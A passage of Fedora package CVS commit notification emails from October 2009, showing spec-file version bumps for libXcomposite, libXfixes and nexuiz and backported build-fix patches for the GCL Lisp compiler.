retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- libXcomposite.spec	14 Aug 2009 06:51:03 -0000	1.29
+++ libXcomposite.spec	13 Oct 2009 15:35:10 -0000	1.30
@@ -1,7 +1,7 @@
 Summary: X Composite Extension library
 Name: libXcomposite
-Version: 0.4.0
-Release: 10%{?dist}
+Version: 0.4.1
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,11 +9,8 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
 BuildRequires: pkgconfig(compositeproto) >= 0.4
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
-BuildRequires: libXfixes-devel
+BuildRequires: pkgconfig(xfixes)
 
 %description
 X Composite Extension library
@@ -22,7 +19,6 @@ X Composite Extension library
 Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: pkgconfig
 
 %description devel
 X.Org X11 libXcomposite development package
@@ -36,7 +32,7 @@ make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
+make install DESTDIR=$RPM_BUILD_ROOT
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
 
 %clean
@@ -59,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/X?omposite*.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-1
+- libXcomposite 0.4.1
+
 * Thu Aug 13 2009 Parag <paragn at fedoraproject.org> 0.4.0-10
 - Merge-review cleanups #226065
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXcomposite/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	24 Jul 2007 17:40:17 -0000	1.10
+++ sources	13 Oct 2009 15:35:10 -0000	1.11
@@ -1 +1 @@
-7e95395dea89be21bae929b9b7f16641  libXcomposite-0.4.0.tar.bz2
+0f1367f57fdf5df17a8dd71d0fa68248  libXcomposite-0.4.1.tar.bz2



From limb at fedoraproject.org  Tue Oct 13 15:35:42 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Tue, 13 Oct 2009 15:35:42 +0000 (UTC)
Subject: rpms/nexuiz/devel nexuiz.spec,1.35,1.36
Message-ID: <20091013153542.6A13B11C00E8@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/nexuiz/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4660

Modified Files:
	nexuiz.spec 
Log Message:
ImageMagick fix.



Index: nexuiz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nexuiz/devel/nexuiz.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- nexuiz.spec	12 Oct 2009 14:29:26 -0000	1.35
+++ nexuiz.spec	13 Oct 2009 15:35:41 -0000	1.36
@@ -97,7 +97,7 @@ DarkPlaces server required for hosting m
 export DP_FS_BASEDIR=%{_datadir}/nexuiz
 # no %{?_smp_mflags}, parallel build issues as of 2.5.1 (#502271)
 %{__make} nexuiz OPTIM_RELEASE="$RPM_OPT_FLAGS" STRIP=:
-convert nexuiz.ico nexuiz.png
+convert nexuiz.xpm nexuiz.png
 
 
 %install
@@ -219,6 +219,7 @@ gtk-update-icon-cache %{_datadir}/icons/
 %changelog
 * Mon Oct 12 2009 Jon Ciesla <limb at jcomserv.net> - 2.5.2-1
 - Update to 2.5.2, BZ 528356.
+- Derive icon from .xpm instead of .ico to satisfy new ImageMagick.
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From ajax at fedoraproject.org  Tue Oct 13 15:35:56 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:35:56 +0000 (UTC)
Subject: rpms/libXcomposite/F-12 libXcomposite.spec, 1.29, 1.30 sources, 1.10,
	1.11
Message-ID: <20091013153556.71AC511C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXcomposite/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4887

Modified Files:
	libXcomposite.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-1
- libXcomposite 0.4.1



Index: libXcomposite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXcomposite/F-12/libXcomposite.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- libXcomposite.spec	14 Aug 2009 06:51:03 -0000	1.29
+++ libXcomposite.spec	13 Oct 2009 15:35:56 -0000	1.30
@@ -1,7 +1,7 @@
 Summary: X Composite Extension library
 Name: libXcomposite
-Version: 0.4.0
-Release: 10%{?dist}
+Version: 0.4.1
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,11 +9,8 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
 BuildRequires: pkgconfig(compositeproto) >= 0.4
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
-BuildRequires: libXfixes-devel
+BuildRequires: pkgconfig(xfixes)
 
 %description
 X Composite Extension library
@@ -22,7 +19,6 @@ X Composite Extension library
 Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: pkgconfig
 
 %description devel
 X.Org X11 libXcomposite development package
@@ -36,7 +32,7 @@ make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
+make install DESTDIR=$RPM_BUILD_ROOT
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
 
 %clean
@@ -59,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/X?omposite*.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-1
+- libXcomposite 0.4.1
+
 * Thu Aug 13 2009 Parag <paragn at fedoraproject.org> 0.4.0-10
 - Merge-review cleanups #226065
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXcomposite/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	24 Jul 2007 17:40:17 -0000	1.10
+++ sources	13 Oct 2009 15:35:56 -0000	1.11
@@ -1 +1 @@
-7e95395dea89be21bae929b9b7f16641  libXcomposite-0.4.0.tar.bz2
+0f1367f57fdf5df17a8dd71d0fa68248  libXcomposite-0.4.1.tar.bz2



From jjames at fedoraproject.org  Tue Oct 13 15:37:49 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 13 Oct 2009 15:37:49 +0000 (UTC)
Subject: rpms/gcl/F-12 gcl.spec,1.39,1.40
Message-ID: <20091013153749.582D711C00E8@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/gcl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5252/F-12

Modified Files:
	gcl.spec 
Log Message:
Backport fixes from F-12 for .iplt sections, which now appear to be needed on
F-11.  Update dates when patches were last sent upstream.



Index: gcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-12/gcl.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- gcl.spec	6 Oct 2009 14:33:28 -0000	1.39
+++ gcl.spec	13 Oct 2009 15:37:49 -0000	1.40
@@ -102,10 +102,10 @@ Patch13:        gcl-2.6.8-debuginfo.patc
 # between glibc and Linux kernel headers.  This patch prevents the kernel
 # headers from being used.
 Patch14:        gcl-2.6.8-asm-signal-h.patch
-# This patch has not yet been sent upstream.  It fixes two bugs in the reading
-# of PLT information.
+# This patch was last sent upstream on 13 Oct 2009.  It fixes two bugs in the
+# reading of PLT information.
 Patch15:        gcl-2.6.8-plt.patch
-# This patch has not yet been sent upstream.  It fixes several malformed
+# This patch was last sent upstream on 13 Oct 2009.  It fixes several malformed
 # function prototypes involving an ellipsis.
 Patch16:        gcl-2.6.8-ellipsis.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)



From jjames at fedoraproject.org  Tue Oct 13 15:37:49 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 13 Oct 2009 15:37:49 +0000 (UTC)
Subject: rpms/gcl/devel gcl.spec,1.39,1.40
Message-ID: <20091013153749.9D21E11C00E8@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/gcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5252/devel

Modified Files:
	gcl.spec 
Log Message:
Backport fixes from F-12 for .iplt sections, which now appear to be needed on
F-11.  Update dates when patches were last sent upstream.



Index: gcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/devel/gcl.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- gcl.spec	6 Oct 2009 14:33:28 -0000	1.39
+++ gcl.spec	13 Oct 2009 15:37:49 -0000	1.40
@@ -102,10 +102,10 @@ Patch13:        gcl-2.6.8-debuginfo.patc
 # between glibc and Linux kernel headers.  This patch prevents the kernel
 # headers from being used.
 Patch14:        gcl-2.6.8-asm-signal-h.patch
-# This patch has not yet been sent upstream.  It fixes two bugs in the reading
-# of PLT information.
+# This patch was last sent upstream on 13 Oct 2009.  It fixes two bugs in the
+# reading of PLT information.
 Patch15:        gcl-2.6.8-plt.patch
-# This patch has not yet been sent upstream.  It fixes several malformed
+# This patch was last sent upstream on 13 Oct 2009.  It fixes several malformed
 # function prototypes involving an ellipsis.
 Patch16:        gcl-2.6.8-ellipsis.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)



From ajax at fedoraproject.org  Tue Oct 13 15:37:53 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:37:53 +0000 (UTC)
Subject: rpms/libXfixes/devel .cvsignore, 1.7, 1.8 libXfixes.spec, 1.24,
	1.25 sources, 1.9, 1.10
Message-ID: <20091013153753.2371E11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXfixes/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5477

Modified Files:
	.cvsignore libXfixes.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 4.0.4-1
- libXfixes 4.0.4



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXfixes/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	20 Nov 2006 16:42:18 -0000	1.7
+++ .cvsignore	13 Oct 2009 15:37:52 -0000	1.8
@@ -1 +1 @@
-libXfixes-4.0.3.tar.bz2
+libXfixes-4.0.4.tar.bz2


Index: libXfixes.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXfixes/devel/libXfixes.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- libXfixes.spec	8 Oct 2009 10:40:33 -0000	1.24
+++ libXfixes.spec	13 Oct 2009 15:37:52 -0000	1.25
@@ -1,7 +1,7 @@
 Summary: X Fixes library
 Name: libXfixes
-Version: 4.0.3
-Release: 9%{?dist}
+Version: 4.0.4
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,8 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: libX11-devel
-BuildRequires: xorg-x11-proto-devel >= 7.0-7
+BuildRequires: pkgconfig(fixesproto) pkgconfig(xext)
 
 %description
 X Fixes library.
@@ -21,29 +20,20 @@ Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: pkgconfig
 
-# xfixes.pc Requires: xproto fixesproto >= 4.0
-Requires: xorg-x11-proto-devel >= 7.0-7
-
 %description devel
 libXfixes development package
 
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
-make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
+make install DESTDIR=$RPM_BUILD_ROOT
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -63,14 +53,14 @@ rm -rf $RPM_BUILD_ROOT
 %files devel
 %defattr(-,root,root,-)
 %{_includedir}/X11/extensions/Xfixes.h
-%if %{with_static}
-%{_libdir}/libXfixes.a
-%endif
 %{_libdir}/libXfixes.so
 %{_libdir}/pkgconfig/xfixes.pc
 %{_mandir}/man3/Xfixes.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 4.0.4-1
+- libXfixes 4.0.4
+
 * Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 4.0.3-9
 - Merge-Review #226071
 - Removed XFree86-libs, xorg-x11-libs, XFree86-devel, xorg-x11-devel as Obsoletes


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXfixes/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	20 Nov 2006 16:42:18 -0000	1.9
+++ sources	13 Oct 2009 15:37:52 -0000	1.10
@@ -1 +1 @@
-1990d19725a3c7f32290037f02d3737f  libXfixes-4.0.3.tar.bz2
+7f2c40852eb337b237ad944ca5c30d49  libXfixes-4.0.4.tar.bz2



From jjames at fedoraproject.org  Tue Oct 13 15:37:49 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 13 Oct 2009 15:37:49 +0000 (UTC)
Subject: rpms/gcl/F-11 gcl-2.6.8-asm-signal-h.patch, NONE,
	1.1 gcl-2.6.8-ellipsis.patch, NONE, 1.1 gcl-2.6.8-plt.patch,
	NONE, 1.1 gcl-2.6.8-alloca.patch, 1.2,
	1.3 gcl-2.6.8-extension.patch, 1.2,
	1.3 gcl-2.6.8-infrastructure.patch, 1.2,
	1.3 gcl-2.6.8-selinux.patch, 1.1, 1.2 gcl.spec, 1.36,
	1.37 sources, 1.6, 1.7
Message-ID: <20091013153749.8B93911C00EB@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/gcl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5252/F-11

Modified Files:
	gcl-2.6.8-alloca.patch gcl-2.6.8-extension.patch 
	gcl-2.6.8-infrastructure.patch gcl-2.6.8-selinux.patch 
	gcl.spec sources 
Added Files:
	gcl-2.6.8-asm-signal-h.patch gcl-2.6.8-ellipsis.patch 
	gcl-2.6.8-plt.patch 
Log Message:
Backport fixes from F-12 for .iplt sections, which now appear to be needed on
F-11.  Update dates when patches were last sent upstream.


gcl-2.6.8-asm-signal-h.patch:
 configure           |   97 +++-------------------------------------------------
 configure.in        |    3 +
 h/386-linux.h       |    1 
 h/m68k-linux.h      |    1 
 o/test_memprotect.c |    1 
 5 files changed, 12 insertions(+), 91 deletions(-)

--- NEW FILE gcl-2.6.8-asm-signal-h.patch ---
diff -dur gcl-2.6.8.ORIG/configure gcl-2.6.8/configure
--- gcl-2.6.8.ORIG/configure	2009-08-11 10:57:23.131471438 -0600
+++ gcl-2.6.8/configure	2009-08-11 11:01:13.331496734 -0600
@@ -14608,27 +14608,19 @@
 for ac_header in asm/signal.h
 do
 as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then
-  { $as_echo "$as_me:$LINENO: checking for $ac_header" >&5
+{ $as_echo "$as_me:$LINENO: checking for $ac_header" >&5
 $as_echo_n "checking for $ac_header... " >&6; }
 if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then
   $as_echo_n "(cached) " >&6
-fi
-ac_res=`eval 'as_val=${'$as_ac_Header'}
-		 $as_echo "$as_val"'`
-	       { $as_echo "$as_me:$LINENO: result: $ac_res" >&5
-$as_echo "$ac_res" >&6; }
 else
-  # Is the header compilable?
-{ $as_echo "$as_me:$LINENO: checking $ac_header usability" >&5
-$as_echo_n "checking $ac_header usability... " >&6; }
-cat >conftest.$ac_ext <<_ACEOF
+  cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
 cat confdefs.h >>conftest.$ac_ext
 cat >>conftest.$ac_ext <<_ACEOF
 /* end confdefs.h.  */
-$ac_includes_default
+#define __ASSEMBLY__
+
 #include <$ac_header>
 _ACEOF
 rm -f conftest.$ac_objext
@@ -14649,96 +14641,20 @@
 	 test -z "$ac_c_werror_flag" ||
 	 test ! -s conftest.err
        } && test -s conftest.$ac_objext; then
-  ac_header_compiler=yes
+  eval "$as_ac_Header=yes"
 else
   $as_echo "$as_me: failed program was:" >&5
 sed 's/^/| /' conftest.$ac_ext >&5
 
-	ac_header_compiler=no
+	eval "$as_ac_Header=no"
 fi
 
 rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-{ $as_echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
-$as_echo "$ac_header_compiler" >&6; }
-
-# Is the header present?
-{ $as_echo "$as_me:$LINENO: checking $ac_header presence" >&5
-$as_echo_n "checking $ac_header presence... " >&6; }
-cat >conftest.$ac_ext <<_ACEOF
-/* confdefs.h.  */
-_ACEOF
-cat confdefs.h >>conftest.$ac_ext
-cat >>conftest.$ac_ext <<_ACEOF
-/* end confdefs.h.  */
-#include <$ac_header>
-_ACEOF
-if { (ac_try="$ac_cpp conftest.$ac_ext"
-case "(($ac_try" in
-  *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
-  *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\""
-$as_echo "$ac_try_echo") >&5
-  (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1
-  ac_status=$?
-  grep -v '^ *+' conftest.er1 >conftest.err
-  rm -f conftest.er1
-  cat conftest.err >&5
-  $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5
-  (exit $ac_status); } >/dev/null && {
-	 test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" ||
-	 test ! -s conftest.err
-       }; then
-  ac_header_preproc=yes
-else
-  $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
-  ac_header_preproc=no
-fi
-
-rm -f conftest.err conftest.$ac_ext
-{ $as_echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
-$as_echo "$ac_header_preproc" >&6; }
-
-# So?  What about this header?
-case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in
-  yes:no: )
-    { $as_echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
-$as_echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
-    { $as_echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5
-$as_echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;}
-    ac_header_preproc=yes
-    ;;
-  no:yes:* )
-    { $as_echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
-$as_echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
-    { $as_echo "$as_me:$LINENO: WARNING: $ac_header:     check for missing prerequisite headers?" >&5
-$as_echo "$as_me: WARNING: $ac_header:     check for missing prerequisite headers?" >&2;}
-    { $as_echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5
-$as_echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;}
-    { $as_echo "$as_me:$LINENO: WARNING: $ac_header:     section \"Present But Cannot Be Compiled\"" >&5
-$as_echo "$as_me: WARNING: $ac_header:     section \"Present But Cannot Be Compiled\"" >&2;}
-    { $as_echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
-$as_echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
-    { $as_echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5
-$as_echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;}
-
-    ;;
-esac
-{ $as_echo "$as_me:$LINENO: checking for $ac_header" >&5
-$as_echo_n "checking for $ac_header... " >&6; }
-if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then
-  $as_echo_n "(cached) " >&6
-else
-  eval "$as_ac_Header=\$ac_header_preproc"
 fi
 ac_res=`eval 'as_val=${'$as_ac_Header'}
 		 $as_echo "$as_val"'`
 	       { $as_echo "$as_me:$LINENO: result: $ac_res" >&5
 $as_echo "$ac_res" >&6; }
-
-fi
 as_val=`eval 'as_val=${'$as_ac_Header'}
 		 $as_echo "$as_val"'`
    if test "x$as_val" = x""yes; then
@@ -14824,6 +14740,7 @@
              #include <asm/sigcontext.h>
              #endif
              #ifdef HAVE_ASM_SIGNAL_H
+             #define __ASSEMBLY__
              #include <asm/signal.h>
              #endif
 
diff -dur gcl-2.6.8.ORIG/configure.in gcl-2.6.8/configure.in
--- gcl-2.6.8.ORIG/configure.in	2009-08-11 10:57:23.139471057 -0600
+++ gcl-2.6.8/configure.in	2009-08-11 10:59:52.436473014 -0600
@@ -1592,7 +1592,7 @@
 
 #if test $use = "386-linux" ; then
 	AC_CHECK_HEADERS(asm/sigcontext.h)
-	AC_CHECK_HEADERS(asm/signal.h)
+	AC_CHECK_HEADERS(asm/signal.h, [], [], [#define __ASSEMBLY__])
 	AC_MSG_CHECKING([for sigcontext])
         AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[
        #include <signal.h>
@@ -1617,6 +1617,7 @@
              #include <asm/sigcontext.h>
              #endif
              #ifdef HAVE_ASM_SIGNAL_H          
+             #define __ASSEMBLY__
              #include <asm/signal.h>
              #endif
           ]],
diff -dur gcl-2.6.8.ORIG/h/386-linux.h gcl-2.6.8/h/386-linux.h
--- gcl-2.6.8.ORIG/h/386-linux.h	2005-01-15 09:28:16.000000000 -0700
+++ gcl-2.6.8/h/386-linux.h	2009-08-11 11:00:56.755526333 -0600
@@ -23,6 +23,7 @@
 #include <asm/sigcontext.h>
 #endif
 #ifdef  HAVE_ASM_SIGNAL_H          
+#define __ASSEMBLY__
 #include <asm/signal.h>
 #endif
 #endif     
diff -dur gcl-2.6.8.ORIG/h/m68k-linux.h gcl-2.6.8/h/m68k-linux.h
--- gcl-2.6.8.ORIG/h/m68k-linux.h	2004-06-24 09:16:54.000000000 -0600
+++ gcl-2.6.8/h/m68k-linux.h	2009-08-11 11:00:43.653478300 -0600
@@ -23,6 +23,7 @@
 #include <asm/sigcontext.h>
 #endif
 #ifdef  HAVE_ASM_SIGNAL_H          
+#define __ASSEMBLY__
 #include <asm/signal.h>
 #endif
 #endif     
diff -dur gcl-2.6.8.ORIG/o/test_memprotect.c gcl-2.6.8/o/test_memprotect.c
--- gcl-2.6.8.ORIG/o/test_memprotect.c	1999-12-06 15:44:13.000000000 -0700
+++ gcl-2.6.8/o/test_memprotect.c	2009-08-11 11:00:26.419472680 -0600
@@ -38,6 +38,7 @@
 
 char *malloc();
 
+#define __ASSEMBLY__
 #include <asm/signal.h>
 #include <asm/sigcontext.h>
 

gcl-2.6.8-ellipsis.patch:
 bind.c          |    2 +-
 external_funs.h |   12 ++++--------
 2 files changed, 5 insertions(+), 9 deletions(-)

--- NEW FILE gcl-2.6.8-ellipsis.patch ---
diff -dur gcl-2.6.8.ORIG/o/bind.c gcl-2.6.8/o/bind.c
--- gcl-2.6.8.ORIG/o/bind.c	2006-06-21 14:03:05.000000000 -0600
+++ gcl-2.6.8/o/bind.c	2009-08-11 14:11:56.982474159 -0600
@@ -708,7 +708,7 @@
 #define	NOT_KEYWORD	1
 
 void
-parse_key(object *base, bool rest, bool allow_other_keys, register int n, ...)
+parse_key(object *base, bool rest, bool allow_other_keys, int n, ...)
 { 
         object temporary;
 	va_list ap;
diff -dur gcl-2.6.8.ORIG/o/external_funs.h gcl-2.6.8/o/external_funs.h
--- gcl-2.6.8.ORIG/o/external_funs.h	2003-08-29 14:41:59.000000000 -0600
+++ gcl-2.6.8/o/external_funs.h	2009-08-11 14:17:35.000473249 -0600
@@ -167,8 +167,8 @@
 extern object find_special GPR((object body, struct bind_temp *start, struct bind_temp *end));;  
 extern object let_bind GPR((object body, struct bind_temp *start, struct bind_temp *end));;  
 extern object letA_bind GPR((object body, struct bind_temp *start, struct bind_temp *end));;  
-extern int parse_key GPR((object *base, bool rest, bool allow_other_keys, register int n, int __builtin_va_alist));;  
-extern int check_other_key GPR((object l, int n, int __builtin_va_alist));;  
+extern int parse_key GPR((object *base, bool rest, bool allow_other_keys, int n, ...));;  
+extern int check_other_key GPR((object l, int n, ...));;  
 extern int parse_key_new GPR((int n, object *base, struct key *keys, ...));;  
 extern int parse_key_rest GPR((object rest, int n, object *base, struct key *keys, ...));;  
 extern int set_key_struct GPR((struct key *ks, object data));;  
@@ -380,7 +380,6 @@
 extern int not_a_variable GPR((int obj));;  
 extern int illegal_index GPR((object x, object i));;  
 extern int Lerror GPR((void));;  
-extern object LVerror GPR((int __builtin_va_alist));;  
 extern int Lcerror GPR((void));;  
 extern int vfun_wrong_number_of_args GPR((object x));;  
 extern int init_error GPR((void));;  
@@ -415,9 +414,6 @@
 extern object ifuncall2 GPR((object fun, object arg1, object arg2));;  
 extern object ifuncall3 GPR((object fun, object arg1, object arg2, object arg3));;  
 extern int funcall_with_catcher GPR((object fname, object fun));;  
-extern object fcalln_cclosure GPR((...));;  
-extern object fcalln_general GPR((...));;  
-extern object fcalln_vfun GPR((va_list vl));;  
-extern object fcalln GPR((int __builtin_va_alist));;  
-extern object funcall_cfun GPR((funcvoid fn, int n, int __builtin_va_alist));;  
+extern object fcalln GPR((object first, ...));;  
+extern object funcall_cfun GPR((funcvoid fn, int n, ...));;  
 extern int init_eval GPR((void));;  

gcl-2.6.8-plt.patch:
 makefile |    2 +-
 plt.c    |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE gcl-2.6.8-plt.patch ---
diff -dur gcl-2.6.8.ORIG/o/makefile gcl-2.6.8/o/makefile
--- gcl-2.6.8.ORIG/o/makefile	2009-08-11 15:11:17.769474923 -0600
+++ gcl-2.6.8/o/makefile	2009-08-11 15:11:46.167645473 -0600
@@ -149,7 +149,7 @@
 	$(CC) -c $(CFLAGS) $(DEFS) $*.c $(AUX_INFO) 
 
 plt.h: plttest.o
-	nm $< | $(AWK) '/ U / {if ($$NF!=2) next;a=$$2;if (k) sub("^_","",a);\
+	nm $< | $(AWK) '/ U / {if (NF!=2) next;a=$$2;if (k) sub("^_","",a);\
                             print a}' \
 			k=$(LEADING_UNDERSCORE) |\
 			sort | \
diff -dur gcl-2.6.8.ORIG/o/plt.c gcl-2.6.8/o/plt.c
--- gcl-2.6.8.ORIG/o/plt.c	2008-08-03 09:16:22.000000000 -0600
+++ gcl-2.6.8/o/plt.c	2009-08-11 15:12:26.627506327 -0600
@@ -135,7 +135,7 @@
   for (i=j=0,li=Cnil;fgets(b,sizeof(b),f);) {
     if (!memchr(b,10,sizeof(b)-1))
       FEerror("plt buffer too small", 0);
-    if (memcmp(b," .plt",4) && !i)
+    if ((memcmp(b," .plt",5) || memcmp(b," .iplt",6)) && !i)
       continue;
     if (*b=='\r' || *b=='\n') {
       i=0;

gcl-2.6.8-alloca.patch:
 acconfig.h     |    5 
 configure      |  328 ++++++++++++++++++++++++++++++++++++++++++++++++---------
 configure.in   |   28 ----
 h/gclincl.h.in |   28 ++++
 4 files changed, 309 insertions(+), 80 deletions(-)

Index: gcl-2.6.8-alloca.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-11/gcl-2.6.8-alloca.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gcl-2.6.8-alloca.patch	27 Apr 2009 16:17:13 -0000	1.2
+++ gcl-2.6.8-alloca.patch	13 Oct 2009 15:37:48 -0000	1.3
@@ -1,6 +1,6 @@
 diff -dur gcl-2.6.8.ORIG/acconfig.h gcl-2.6.8/acconfig.h
 --- gcl-2.6.8.ORIG/acconfig.h	2009-02-23 12:39:42.000000000 -0700
-+++ gcl-2.6.8/acconfig.h	2009-04-27 09:46:14.000000000 -0600
++++ gcl-2.6.8/acconfig.h	2009-08-11 10:55:32.525471470 -0600
 @@ -53,11 +53,10 @@
  #undef HAVE_ALLOCA 
  #endif
@@ -16,8 +16,8 @@ diff -dur gcl-2.6.8.ORIG/acconfig.h gcl-
  #endif
  
 diff -dur gcl-2.6.8.ORIG/configure gcl-2.6.8/configure
---- gcl-2.6.8.ORIG/configure	2009-04-27 09:45:41.000000000 -0600
-+++ gcl-2.6.8/configure	2009-04-27 09:47:15.000000000 -0600
+--- gcl-2.6.8.ORIG/configure	2009-08-11 10:55:12.612470012 -0600
++++ gcl-2.6.8/configure	2009-08-11 10:55:32.540470956 -0600
 @@ -645,6 +645,7 @@
  NIFLAGS
  FINAL_CFLAGS
